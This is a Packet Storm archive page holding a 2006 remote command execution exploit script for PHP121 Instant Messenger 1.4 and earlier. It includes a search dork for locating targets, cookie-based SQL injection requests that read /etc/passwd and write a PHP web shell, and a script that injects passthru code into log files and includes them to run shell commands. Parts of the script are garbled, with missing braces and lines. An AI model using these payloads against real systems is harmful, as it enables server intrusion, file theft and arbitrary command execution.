what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New


Posted Apr 14, 2006
Authored by rgod | Site retrogod.altervista.org

PHP121 Instant Messenger versions less than or equal to 1.4 remote commands execution exploit.

tags | exploit, remote
SHA-256 | 4f500420ae021a12f0c97b72682ef7dc378e59151587d6457602e17d599689fe


Change Mirror Download
#!/usr/bin/php -q -d short_open_tag=on
echo "PHP121 Instant Messenger <= 1.4 \$_SESSION[sess_username] remote cmmnds xctn \r\n";
echo "by rgod rgod@autistici.org\r\n";
echo "site: http://retrogod.altervista.org\r\n\r\n";
echo "-> works with magic_quotes_gpc = Off\r\n\r\n";
echo "a dork: inurl:php121login.php | inurl:php121im.php | intitle:\"PHP121 - PLEASE\"\r\n\r\n";

if ($argc<4) {
echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";
echo "host: target server (ip/hostname)\r\n";
echo "path: path to PHP121\r\n";
echo "cmd: a shell command\r\n";
echo "Options:\r\n";
echo " -p[port]: specify a port other than 80\r\n";
echo " -P[ip:port]: specify a proxy\r\n";
echo "Examples:\r\n";
echo "php ".$argv[0]." localhost /php121/ cat php121config.php\r\n";
echo "php ".$argv[0]." localhost /php121/ ls -la -p81\r\n";
echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80\r\n";

software site: http://www.php121.com/
description: "PHP121 is a free web based instant messenger - written entirely in

i) vulnerable code in php121login.php and in nearly all files:

if (isset($_COOKIE['php121un']) && isset($_COOKIE['php121pw'])) {
$logindataun = $_COOKIE['php121un'];
$logindatapw = $_COOKIE['php121pw'];
if (!empty($logindataun) && !empty($logindatapw)) {
//we have a cookie - use it to login, overriding any sessions


in php121language.php we have:

// are we logged in?

if ($sess_username!="") {

// get our language preference
$sql="select $dbf_language from $db_usertable where $dbf_uname='$sess_username'";
echo "sql: ".$sql."\r\n";
if ($row[0]!="") {


} else {

// use the default language file


"sess_username" value is not sanitized before to be used in our query
so, if magic_quotes_gpc = Off, we can include arbitrary files from local
resources, poc:

GET /php121login.php HTTP/1.0
Host: somehost
Cookie: php121un=%27UNION+SELECT+%27..%2F..%2F..%2Fetc%2Fpasswd%00%27+FROM+php121_users%2F%2A; php121pw=suntzu;
Connection: Close

now session cookie is poisoned, and we can go to php121language.php
with our new cookie to see/include local resources, query becomes:

select php121_language from php121_users where uname=''UNION SELECT '../../../etc/passwd[null char]' FROM php121_users/*'

php121_language field is varchar(30) so, before MySQL 4.1.1,
your path is limited to 29 chars (so, it is nearly impossible
submit a valid inclusion path), with Mysql >=4.1.1 it does not matter,
path is not truncated anymore at the length of the first select field

we can also try blind injection, injecting a shell:

GET /php121login.php HTTP/1.0
Host: somehost
Cookie: php121un=%27UNION+SELECT+%27%3C%3Fphp+system%28%24_GET%5Bcmd%5D%29%3B%3F%3E%27+INTO+DUMPFILE+%27somefile%27+FROM+php121_users%2F%2A; php121pw=suntzu;
Connection: Close

and now go to php121language.php to write our file, if MySQL have certain rigths
to do it

you can do the work trough a browser like Opera that allows to edit cookies

However, this exploit inject some code in log files and try to include them


function quick_dump($string)
for ($i=0; $i<=strlen($string)-1; $i++)
if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
{$result.=" .";}
{$result.=" ".$string[$i];}
if (strlen(dechex(ord($string[$i])))==2)
{$exa.=" ".dechex(ord($string[$i]));}
{$exa.=" 0".dechex(ord($string[$i]));}
$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
return $exa."\r\n".$result;
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
global $proxy, $host, $port, $html, $proxy_regex;
if ($proxy=='') {
if (!$ock) {
echo 'No response from '.$host.':'.$port; die;
else {
$c = preg_match($proxy_regex,$proxy);
if (!$c) {
echo 'Not a valid proxy...';die;
echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
if (!$ock) {
echo 'No response from proxy...';die;
if ($proxy=='') {
while (!feof($ock)) {
else {
while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
#echo "\r\n".$html;


for ($i=3; $i<=$argc-1; $i++){
if (($temp<>"-p") and ($temp<>"-P"))
{$cmd.=" ".$argv[$i];}
if ($temp=="-p")
if ($temp=="-P")
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "[1] Injecting some code in log files ...\r\n\r\n";
$CODE="<?php echo 56789;passthru(\$_COOKIE[cmd]);die;?>";
$packet="GET ".$p.$CODE." HTTP/1.0\r\n";
$packet.="User-Agent: ".$CODE." Googlebot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: close\r\n\r\n";


for ($i=0; $i<=count($paths)-1; $i++)
echo "[".$a."] Trying with: ".$paths[$i]."%00\r\n";
$sql="'UNION SELECT '".$paths[$i].chr(0x00)."' FROM php121_users/*";
$packet ="GET ".$p."php121login.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: php121un=".$sql."; php121pw=suntzu;\r\n";
$packet.="Connection: Close\r\n\r\n";
#echo quick_dump($packet);

$temp=explode("Set-Cookie: ",$html);
$temp2=explode(" ",$temp[1]);
echo "Cookie -> ".$cookie."\r\n\r\n";
if ($cookie=='') {
echo $html;
die("Something goes wrong...\r\n");

$packet ="GET ".$p."php121language.php HTTP/1.0\r\n";
$packet.="User-Agent: GoogleBot/2.1\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Cookie: ".$cookie."; cmd=".$cmd.";\r\n";
$packet.="Connection: Close\r\n\r\n";
#echo quick_dump($packet);
if (strstr($html,"56789"))
echo "Exploit succeeded...\r\n";
echo $temp[1];
//if you are here...
echo "Exploit failed...";
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags


packet storm

© 2022 Packet Storm. All rights reserved.

Security Services
Hosting By